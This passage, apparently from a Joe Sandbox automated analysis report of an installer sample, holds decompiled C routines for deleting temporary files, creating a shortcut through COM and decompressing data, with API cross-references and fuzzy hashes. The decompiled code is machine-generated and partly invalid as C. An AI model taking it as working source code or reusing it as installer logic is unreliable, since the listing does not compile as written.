					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405c53
0x00405c58
0x00405c61
0x00405c64
0x00405c6c
0x00405c6f
0x00405c72
0x00405c7a
0x00405c7c
0x00405c7d
0x00000000
0x00405c7d
0x00405c88
0x00405c8b
0x00405c8b
0x00405c8b
0x00405c8f
0x00405ca2
0x00405ca9
0x00405cae
0x00405cb2
0x00405cc2
0x00405cb4
0x00405cba
0x00405cba
0x00405cc7
0x00405ccb
0x00405cd7
0x00405cdd
0x00405ce2
0x00405ce8
0x00405cf3
0x00405cf9
0x00405cfb
0x00405cfe
0x00405da8
0x00405da8
0x00405dac
0x00405dae
0x00405dae
0x00405dae
0x00405dae
0x00000000
0x00000000
0x00000000
0x00000000
0x00405d04
0x00405d04
0x00405d04
0x00405d0c
0x00405d2c
0x00405d34
0x00405d39
0x00405d40
0x00405d5b
0x00405d60
0x00405d62
0x00405d86
0x00405d64
0x00405d64
0x00405d67
0x00405d7b
0x00405d69
0x00405d6c
0x00405d74
0x00405d74
0x00405d67
0x00405d42
0x00405d48
0x00405d4a
0x00405d50
0x00405d50
0x00405d4a
0x00000000
0x00405d40
0x00405d0e
0x00405d16
0x00000000
0x00000000
0x00405d18
0x00405d20
0x00000000
0x00000000
0x00405d22
0x00405d2a
0x00000000
0x00000000
0x00000000
0x00405d8b
0x00405d93
0x00405d99
0x00405d99
0x00405da2
0x00000000
0x00405da2
0x00405ccd
0x00405cd5
0x00000000
0x00000000
0x00000000
0x00405c91
0x00405c91
0x00405c93
0x00405db3
0x00405db5
0x00405db8
0x00405e09
0x00405e09
0x00405e09
0x00405dba
0x00405dbd
0x00405dc8
0x00405dcd
0x00405dcf
0x00000000
0x00000000
0x00405dd2
0x00405dde
0x00405de3
0x00405de5
0x00000000
0x00405e00
0x00405de7
0x00405dea
0x00000000
0x00000000
0x00405def
0x00000000
0x00405df6
0x00405dbf
0x00405dbf
0x00000000
0x00405dbf
0x00405c99
0x00405c9c
0x00000000
0x00000000
0x00000000
0x00405c9c

APIs

DeleteFileW.KERNEL32(?,?,76CDFAA0,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405C72
lstrcatW.KERNEL32(0042F270,\*.*), ref: 00405CBA
lstrcatW.KERNEL32(?,0040A014), ref: 00405CDD
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,76CDFAA0,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405CE3
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,76CDFAA0,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405CF3
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405D93
FindClose.KERNEL32(00000000), ref: 00405DA2

Strings

., xrefs: 00405D18
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C56
\*.*, xrefs: 00405CB4
., xrefs: 00405D04

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: .$.$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-4130279798
Opcode ID: 159fa2acebf62d68cb64ea74fddd1b0ad159e4272dc91ddb014146492f4e8da9
Instruction ID: 8b2ee76931e9ba666d6dc67a471f1b560bbb00ea1adf29c264b32972d7114dcf
Opcode Fuzzy Hash: 159fa2acebf62d68cb64ea74fddd1b0ad159e4272dc91ddb014146492f4e8da9
Instruction Fuzzy Hash: 3D41A130900A14BADB216B65CC8DABF7678DF81714F14817FF841B21D1D77C4A819EAE

Uniqueness

Uniqueness Score: -1.00%

Function 00406873 Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406873(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x4302b8);
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x4302b8;
			}

0x0040687e
0x00406887
0x00000000
0x00406894
0x0040688a
0x00000000

APIs

FindFirstFileW.KERNEL32(76CDFAA0,004302B8,0042FA70,00405F5D,0042FA70,0042FA70,00000000,0042FA70,0042FA70,76CDFAA0,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76CDFAA0,C:\Users\user\AppData\Local\Temp\), ref: 0040687E
FindClose.KERNEL32(00000000), ref: 0040688A

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
Instruction ID: 67599a3b69382adcf67454a25bfea179debcebd0a6e2e92eb77ede12202c023a
Opcode Fuzzy Hash: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
Instruction Fuzzy Hash: C3D012325192205FC3402B386E0C84B7A989F16331726CB76B4AAF51E0D7388C7387BD

Uniqueness

Uniqueness Score: -1.00%

Function 004021AA Relevance: 1.6, APIs: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004021AA() {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x10)) = E00402DA6(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x44)) = E00402DA6(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402DA6(2);
				 *((intOrPtr*)(_t107 - 0x4c)) = E00402DA6(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402DA6(0x45);
				_t52 =  *(_t107 - 0x20);
				 *(_t107 - 0x50) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405E83( *((intOrPtr*)(_t107 - 0x44))) == 0) {
					E00402DA6(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4085f0, _t83, 1, 0x4085e0, _t56);
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x408600, _t107 - 0x38);
					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, 0x441000);
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x38));
							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x38));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x004021b3
0x004021bd
0x004021c7
0x004021d1
0x004021dc
0x004021df
0x004021f9
0x004021fc
0x00402202
0x00402205
0x0040220f
0x00402213
0x00402213
0x00402218
0x00402229
0x00402231
0x004022e8
0x004022e8
0x004022ef
0x00402237
0x00402237
0x00402246
0x0040224a
0x0040224d
0x00402253
0x00402261
0x00402264
0x00402266
0x00402271
0x00402271
0x00402276
0x00402278
0x0040227f
0x0040227f
0x00402282
0x0040228b
0x0040228e
0x00402294
0x00402296
0x004022a0
0x004022a0
0x004022a3
0x004022ac
0x004022af
0x004022b8
0x004022be
0x004022c0
0x004022ce
0x004022ce
0x004022d1
0x004022d7
0x004022d7
0x004022da
0x004022e0
0x004022e6
0x004022fb
0x00000000
0x00000000
0x00000000
0x004022e6
0x004022f1
0x00402c2d
0x00402c39

APIs

CoCreateInstance.OLE32(004085F0,?,00000001,004085E0,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402229

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: c4fc3fa67b876c583326420a1baafc892d445f4eb77b454d3c92970a980d6818
Instruction ID: 5977cb51530078b600b156af0050786de557c4b464dd586e6a5beaa7a0440451
Opcode Fuzzy Hash: c4fc3fa67b876c583326420a1baafc892d445f4eb77b454d3c92970a980d6818
Instruction Fuzzy Hash: A7411571A00208EFCF40DFE4C989E9D7BB5BF49348B20456AF905EB2D1DB799981CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040290B Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040290B(short __ebx, short* __edi) {
				void* _t21;

				if(FindFirstFileW(E00402DA6(2), _t21 - 0x2dc) != 0xffffffff) {
					E00406484( *((intOrPtr*)(_t21 - 0xc)), _t8);
					_push(_t21 - 0x2b0);
					_push(__edi);
					E0040653D();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
					 *__edi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x00402923
0x0040293e
0x00402949
0x0040294a
0x00402a94
0x00402925
0x00402928
0x0040292b
0x0040292e
0x0040292e
0x00402c2d
0x00402c39

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291A

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: db3e0d9fc2be9d26385cb54e60570df6e1e2b9abacb98404d6fb5f3e13457c69
Instruction ID: 3f6fbcf0fd4d311cdd608d5f72697756ed96b8559223cd5d9f1c4d92bc61f1b3
Opcode Fuzzy Hash: db3e0d9fc2be9d26385cb54e60570df6e1e2b9abacb98404d6fb5f3e13457c69
Instruction Fuzzy Hash: 3CF08271A04105EFD701DBA4ED49AAEB378FF14314F60417BE116F21D0E7B88E159B29

Uniqueness

Uniqueness Score: -1.00%

Function 00406D85 Relevance: .3, Instructions: 334
COMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E00406D85(signed int __ebx, signed int* __esi) {
				signed int _t396;
				signed int _t425;
				signed int _t442;
				signed int _t443;
				signed int* _t446;
				void* _t448;

				L0:
				while(1) {
					L0:
					_t446 = __esi;
					_t425 = __ebx;
					if( *(_t448 - 0x34) == 0) {
						break;
					}
					L55:
					__eax =  *(__ebp - 0x38);
					 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
					__ecx = __ebx;
					 *( *(__ebp - 0x38)) & 0x000000ff = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
					 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
					 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
					__ebx = __ebx + 8;
					while(1) {
						L56:
						if(__ebx < 0xe) {
							goto L0;
						}
						L57:
						__eax =  *(__ebp - 0x40);
						__eax =  *(__ebp - 0x40) & 0x00003fff;
						__ecx = __eax;
						__esi[1] = __eax;
						__ecx = __eax & 0x0000001f;
						if(__cl > 0x1d) {
							L9:
							_t443 = _t442 | 0xffffffff;
							 *_t446 = 0x11;
							L10:
							_t446[0x147] =  *(_t448 - 0x40);
							_t446[0x146] = _t425;
							( *(_t448 + 8))[1] =  *(_t448 - 0x34);
							L11:
							 *( *(_t448 + 8)) =  *(_t448 - 0x38);
							_t446[0x26ea] =  *(_t448 - 0x30);
							E004074F4( *(_t448 + 8));
							return _t443;
						}
						L58:
						__eax = __eax & 0x000003e0;
						if(__eax > 0x3a0) {
							goto L9;
						}
						L59:
						 *(__ebp - 0x40) =  *(__ebp - 0x40) >> 0xe;
						__ebx = __ebx - 0xe;
						_t94 =  &(__esi[2]);
						 *_t94 = __esi[2] & 0x00000000;
						 *__esi = 0xc;
						while(1) {
							L60:
							__esi[1] = __esi[1] >> 0xa;
							__eax = (__esi[1] >> 0xa) + 4;
							if(__esi[2] >= (__esi[1] >> 0xa) + 4) {
								goto L68;
							}
							L61:
							while(1) {
								L64:
								if(__ebx >= 3) {
									break;
								}
								L62:
								if( *(__ebp - 0x34) == 0) {
									goto L182;
								}
								L63:
								__eax =  *(__ebp - 0x38);
								 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
								__ecx = __ebx;
								 *( *(__ebp - 0x38)) & 0x000000ff = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
								 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
								 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
								__ebx = __ebx + 8;
							}
							L65:
							__ecx = __esi[2];
							 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000007;
							__ebx = __ebx - 3;
							_t108 = __ecx + 0x4084d4; // 0x121110
							__ecx =  *_t108;
							 *(__ebp - 0x40) =  *(__ebp - 0x40) >> 3;
							 *(__esi + 0xc +  *_t108 * 4) =  *(__ebp - 0x40) & 0x00000007;
							__ecx = __esi[1];
							__esi[2] = __esi[2] + 1;
							__eax = __esi[2];
							__esi[1] >> 0xa = (__esi[1] >> 0xa) + 4;
							if(__esi[2] < (__esi[1] >> 0xa) + 4) {
								goto L64;
							}
							L66:
							while(1) {
								L68:
								if(__esi[2] >= 0x13) {
									break;
								}
								L67:
								_t119 = __esi[2] + 0x4084d4; // 0x4000300
								__eax =  *_t119;
								 *(__esi + 0xc +  *_t119 * 4) =  *(__esi + 0xc +  *_t119 * 4) & 0x00000000;
								_t126 =  &(__esi[2]);
								 *_t126 = __esi[2] + 1;
							}
							L69:
							__ecx = __ebp - 8;
							__edi =  &(__esi[0x143]);
							 &(__esi[0x148]) =  &(__esi[0x144]);
							__eax = 0;
							 *(__ebp - 8) = 0;
							__eax =  &(__esi[3]);
							 *__edi = 7;
							__eax = E0040755C( &(__esi[3]), 0x13, 0x13, 0, 0,  &(__esi[0x144]), __edi,  &(__esi[0x148]), __ebp - 8);
							if(__eax != 0) {
								L72:
								 *__esi = 0x11;
								while(1) {
									L180:
									_t396 =  *_t446;
									if(_t396 > 0xf) {
										break;
									}
									L1:
									switch( *((intOrPtr*)(_t396 * 4 +  &M004074B4))) {
										case 0:
											L101:
											__eax = __esi[4] & 0x000000ff;
											__esi[3] = __esi[4] & 0x000000ff;
											__eax = __esi[5];
											__esi[2] = __esi[5];
											 *__esi = 1;
											goto L102;
										case 1:
											L102:
											__eax = __esi[3];
											while(1) {
												L105:
												__eflags = __ebx - __eax;
												if(__ebx >= __eax) {
													break;
												}
												L103:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L104:
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
												__ecx = __ebx;
												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L106:
											__eax =  *(0x40a5c4 + __eax * 2) & 0x0000ffff;
											__eax = __eax &  *(__ebp - 0x40);
											__ecx = __esi[2];
											__eax = __esi[2] + __eax * 4;
											__ecx =  *(__eax + 1) & 0x000000ff;
											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
											__ebx = __ebx - ( *(__eax + 1) & 0x000000ff);
											__ecx =  *__eax & 0x000000ff;
											__eflags = __ecx;
											if(__ecx != 0) {
												L108:
												__eflags = __cl & 0x00000010;
												if((__cl & 0x00000010) == 0) {
													L110:
													__eflags = __cl & 0x00000040;
													if((__cl & 0x00000040) == 0) {
														goto L125;
													}
													L111:
													__eflags = __cl & 0x00000020;
													if((__cl & 0x00000020) == 0) {
														goto L9;
													}
													L112:
													 *__esi = 7;
													goto L180;
												}
												L109:
												__esi[2] = __ecx;
												__esi[1] = __eax;
												 *__esi = 2;
												goto L180;
											}
											L107:
											__esi[2] = __eax;
											 *__esi = 6;
											goto L180;
										case 2:
											L113:
											__eax = __esi[2];
											while(1) {
												L116:
												__eflags = __ebx - __eax;
												if(__ebx >= __eax) {
													break;
												}
												L114:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L115:
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
												__ecx = __ebx;
												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L117:
											 *(0x40a5c4 + __eax * 2) & 0x0000ffff =  *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40);
											__esi[1] = __esi[1] + ( *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40));
											__ecx = __eax;
											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
											__ebx = __ebx - __eax;
											__eflags = __ebx;
											__eax = __esi[4] & 0x000000ff;
											__esi[3] = __esi[4] & 0x000000ff;
											__eax = __esi[6];
											__esi[2] = __esi[6];
											 *__esi = 3;
											goto L118;
										case 3:
											L118:
											__eax = __esi[3];
											while(1) {
												L121:
												__eflags = __ebx - __eax;
												if(__ebx >= __eax) {
													break;
												}
												L119:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L120:
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
												__ecx = __ebx;
												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L122:
											__eax =  *(0x40a5c4 + __eax * 2) & 0x0000ffff;
											__eax = __eax &  *(__ebp - 0x40);
											__ecx = __esi[2];
											__eax = __esi[2] + __eax * 4;
											__ecx =  *(__eax + 1) & 0x000000ff;
											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
											__ebx = __ebx - ( *(__eax + 1) & 0x000000ff);
											__ecx =  *__eax & 0x000000ff;
											__eflags = __cl & 0x00000010;
											if((__cl & 0x00000010) == 0) {
												L124:
												__eflags = __cl & 0x00000040;
												if((__cl & 0x00000040) != 0) {
													goto L9;
												}
												L125:
												__esi[3] = __ecx;
												__ecx =  *(__eax + 2) & 0x0000ffff;
												__esi[2] = __eax;
												goto L180;
											}
											L123:
											__esi[2] = __ecx;
											__esi[3] = __eax;
											 *__esi = 4;
											goto L180;
										case 4:
											L126:
											__eax = __esi[2];
											while(1) {
												L129:
												__eflags = __ebx - __eax;
												if(__ebx >= __eax) {
													break;
												}
												L127:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L128:
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
												__ecx = __ebx;
												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L130:
											 *(0x40a5c4 + __eax * 2) & 0x0000ffff =  *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40);
											__esi[3] = __esi[3] + ( *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40));
											__ecx = __eax;
											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
											__ebx = __ebx - __eax;
											__eflags = __ebx;
											 *__esi = 5;
											goto L131;
										case 5:
											L131:
											__eax =  *(__ebp - 0x30);
											__edx = __esi[3];
											__eax = __eax - __esi;
											__ecx = __eax - __esi - 0x1ba0;
											__eflags = __eax - __esi - 0x1ba0 - __edx;
											if(__eax - __esi - 0x1ba0 >= __edx) {
												__ecx = __eax;
												__ecx = __eax - __edx;
												__eflags = __ecx;
											} else {
												__esi[0x26e8] = __esi[0x26e8] - __edx;
												__ecx = __esi[0x26e8] - __edx - __esi;
												__ecx = __esi[0x26e8] - __edx - __esi + __eax - 0x1ba0;
											}
											__eflags = __esi[1];
											 *(__ebp - 0x20) = __ecx;
											if(__esi[1] != 0) {
												L135:
												__edi =  *(__ebp - 0x2c);
												do {
													L136:
													__eflags = __edi;
													if(__edi != 0) {
														goto L152;
													}
													L137:
													__edi = __esi[0x26e8];
													__eflags = __eax - __edi;
													if(__eax != __edi) {
														L143:
														__esi[0x26ea] = __eax;
														__eax = E004074F4( *((intOrPtr*)(__ebp + 8)));
														__eax = __esi[0x26ea];
														__ecx = __esi[0x26e9];
														__eflags = __eax - __ecx;
														 *(__ebp - 0x30) = __eax;
														if(__eax >= __ecx) {
															__edi = __esi[0x26e8];
															__edi = __esi[0x26e8] - __eax;
															__eflags = __edi;
														} else {
															__ecx = __ecx - __eax;
															__edi = __ecx - __eax - 1;
														}
														__edx = __esi[0x26e8];
														__eflags = __eax - __edx;
														 *(__ebp - 8) = __edx;
														if(__eax == __edx) {
															__edx =  &(__esi[0x6e8]);
															__eflags = __ecx - __edx;
															if(__ecx != __edx) {
																__eax = __edx;
																__eflags = __eax - __ecx;
																 *(__ebp - 0x30) = __eax;
																if(__eax >= __ecx) {
																	__edi =  *(__ebp - 8);
																	__edi =  *(__ebp - 8) - __eax;
																	__eflags = __edi;
																} else {
																	__ecx = __ecx - __eax;
																	__edi = __ecx;
																}
															}
														}
														__eflags = __edi;
														if(__edi == 0) {
															goto L183;
														} else {
															goto L152;
														}
													}
													L138:
													__ecx = __esi[0x26e9];
													__edx =  &(__esi[0x6e8]);
													__eflags = __ecx - __edx;
													if(__ecx == __edx) {
														goto L143;
													}
													L139:
													__eax = __edx;
													__eflags = __eax - __ecx;
													if(__eax >= __ecx) {
														__edi = __edi - __eax;
														__eflags = __edi;
													} else {
														__ecx = __ecx - __eax;
														__edi = __ecx;
													}
													__eflags = __edi;
													if(__edi == 0) {
														goto L143;
													}
													L152:
													__ecx =  *(__ebp - 0x20);
													 *__eax =  *__ecx;
													__eax = __eax + 1;
													__ecx = __ecx + 1;
													__edi = __edi - 1;
													__eflags = __ecx - __esi[0x26e8];
													 *(__ebp - 0x30) = __eax;
													 *(__ebp - 0x20) = __ecx;
													 *(__ebp - 0x2c) = __edi;
													if(__ecx == __esi[0x26e8]) {
														__ecx =  &(__esi[0x6e8]);
														 *(__ebp - 0x20) =  &(__esi[0x6e8]);
													}
													_t357 =  &(__esi[1]);
													 *_t357 = __esi[1] - 1;
													__eflags =  *_t357;
												} while ( *_t357 != 0);
											}
											goto L23;
										case 6:
											L156:
											__eax =  *(__ebp - 0x2c);
											__edi =  *(__ebp - 0x30);
											__eflags = __eax;
											if(__eax != 0) {
												L172:
												__cl = __esi[2];
												 *__edi = __cl;
												__edi = __edi + 1;
												__eax = __eax - 1;
												 *(__ebp - 0x30) = __edi;
												 *(__ebp - 0x2c) = __eax;
												goto L23;
											}
											L157:
											__ecx = __esi[0x26e8];
											__eflags = __edi - __ecx;
											if(__edi != __ecx) {
												L163:
												__esi[0x26ea] = __edi;
												__eax = E004074F4( *((intOrPtr*)(__ebp + 8)));
												__edi = __esi[0x26ea];
												__ecx = __esi[0x26e9];
												__eflags = __edi - __ecx;
												 *(__ebp - 0x30) = __edi;
												if(__edi >= __ecx) {
													__eax = __esi[0x26e8];
													__eax = __esi[0x26e8] - __edi;
													__eflags = __eax;
												} else {
													__ecx = __ecx - __edi;
													__eax = __ecx - __edi - 1;
												}
												__edx = __esi[0x26e8];
												__eflags = __edi - __edx;
